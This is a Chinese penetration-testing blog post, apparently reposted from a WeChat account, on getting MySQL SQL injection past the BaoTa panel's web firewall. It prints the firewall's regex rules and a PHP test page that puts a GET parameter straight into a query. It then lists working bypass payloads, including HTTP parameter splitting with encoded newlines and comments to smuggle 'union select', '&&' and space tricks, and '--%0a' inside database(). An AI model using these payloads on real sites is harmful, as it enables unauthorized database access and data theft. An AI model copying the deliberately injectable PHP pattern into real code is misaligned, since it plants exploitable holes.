Sql注入绕过宝塔的“思路”【mysql】

渗透技巧 3年前 (2021) admin
2,427 0 0

前几天发了一篇绕过宝塔的文章,如下


简简单单webshell绕过宝塔的一种方法【php】


当时联系到防火墙开发的作者,居然也是从业者,是之前没有想到的




我们就来一发不太简单宝塔SQL注入的姿势方法。




有小伙伴注意到这边文章吗?其实也很早的东西了


A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection(英译)MySQL 中的科学记数法错误使 AWS WAF 客户端易受 SQL 注入攻击

https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/





Sql注入绕过宝塔的“思路”【mysql】


0x01 Sql注入

 

测试环境:MySQL 5.6.50, PHP-5.6


举例几个常见sql注入运用到的sql函数and,selectunionfromsleepdatabasegrouporder
举例联合sql注入运用到的sql语句union select 1,2,3union select (select group_concat(schema_name)from information schema.schemata),2,3and if(length(version())>10,sleep(3),sleep(10);

0x02 Sql注入“测试”宝塔

 


安装宝塔的过程就不多说了


看下防火墙防止sql注入的规则


Sql注入绕过宝塔的“思路”【mysql】

s+(or|xor|and)s+.*(=|<|>|'|")
select.+(from|limit)
(?:(union(.*?)select))
sleep((s*)(d*)(s*))
benchmark((.*),(.*))
(?:fromW+information_schemaW)
(?:(?:current_)user|database|schema|connection_id)s*(
into(s+)+(?:dump|out)files*
groups+by.+(

Sql注入绕过宝塔的“思路”【mysql】

函数禁用了这么多,还搞鸡毛



在网站内,先构造一个注入点(整型),注意还得去新建对应的表

<?phpdefine("host","127.0.0.1");define("username","sql");define("password","sql");define("database","sql");$sql = mysqli_connect(host,username,password,database);if ($sql == false){  echo mysqli_connect_error();}$id = $_GET['a'];$sqllib = "select * from test where user_id = $id";$temp = mysqli_query($sql,$sqllib);var_dump($temp);$row=mysqli_fetch_array($temp);echo "<p><a>user_id :</a>".$row[0];echo "<p><a>user_name :".$row[1];echo "<p><a>user_password :</a>".$row[2];?>


Sql注入绕过宝塔的“思路”【mysql】

代码的主要意思,就是查询user_id 等于x 的 用户select * from test where user_id = $id


如下测试


Sql注入绕过宝塔的“思路”【mysql】


准备工作都完成了,我们来测试,先把防火墙关闭

Sql注入绕过宝塔的“思路”【mysql】

我们来测试第一条首先绕过and 相关的连接符

and 1=1 / and 1=2


Sql注入绕过宝塔的“思路”【mysql】


打开防火墙,测试and


Sql注入绕过宝塔的“思路”【mysql】


匹配规则  如下 s+(or|xor|and)s+.*(=|&amp;lt;|&amp;gt;|‘|&quot;)s+(or|xor|and)s+.*(=|<|>|'|")

Sql注入绕过宝塔的“思路”【mysql】

风险值 是and 1= ,是不是让人眼前一亮,浮现很多种绕过的方式呢?


我这边 添加一个 in 即可



Sql注入绕过宝塔的“思路”【mysql】

因为是已知的注入点,这边直接测试 完整的语句,假设要探测版本


union select 1,version(),3


Sql注入绕过宝塔的“思路”【mysql】



Sql注入绕过宝塔的“思路”【mysql】



用 and select version 没什么问题的,但是回显不出来呀


Sql注入绕过宝塔的“思路”【mysql】

测试 union select


union select 1,version(),3


因为在防火墙规则中,通过正则的方式 匹配 union select 相关的语法,绕过确实难度很大


(?:(union(.*?)select))

在很多次的测试中,利用http分割注入的时候,发现不在提示union select 相关的联合,下图也可以看到,到过滤规则这边把1+union 给吞并了,又因为&b的存在当成新值去传递


http://192.168.3.30/test/1.php?a=%0a1+union%2f%2a&b=%2f%2aselect 1,pass%2f%2a&c=%2f%2apass--


Sql注入绕过宝塔的“思路”【mysql】

在测试的过程中,发现免费版的防火墙在针对 HTTP分割 还是挺有一套方法

在这里我引入 2021/5月绕过宝塔注入的一篇文章

https://blog.csdn.net/weixin_54771278/article/details/117388614


1 or 1=1    拦截    1 and 1=1   拦截             1 || 1=1    拦截id=1 %26%26 1=1   通过


1 && (select 1)=1 && 1=1  拦截1 && ( select 1)=1 && 1=1   通过 在select前面补空格就可以绕过
1 and( select database()='security') and 1=1   拦截尝试把数据库名称跑出来这里利用databases()函数获取当前数据库名称被拦截了这里猜测拦截的是database()函数,同理猜测可能是关键字拦截
1 and( select database/**/()='security') and1=1 拦截   中间加注释符操作绕过验证失败1 &&( select database--%0a()='security') &&1=1 通过这里使用了 --换行(换行转化对应的URL编码为%0a)


想必大家应该可以看出点门道,列如:


Sql注入绕过宝塔的“思路”【mysql】

不同的注入类型肯定有着不一样的绕过方式,包括特定字符的绕过,比如union select 没办法绕,可以试想下,还有没有其他语句可以绕过union

set


在穿插 一篇文章


https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/

水文了,水文了,有这方面经验的友友,可以一起交流


  src 





 burp   burp 



Sql注入绕过宝塔的“思路”【mysql】


 


Sql注入绕过宝塔的“思路”【mysql】

原文始发于微信公众号(黑客街安全团队):Sql注入绕过宝塔的“思路”【mysql】

版权声明:admin 发表于 2021年11月2日 上午11:49。
转载请注明:Sql注入绕过宝塔的“思路”【mysql】 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...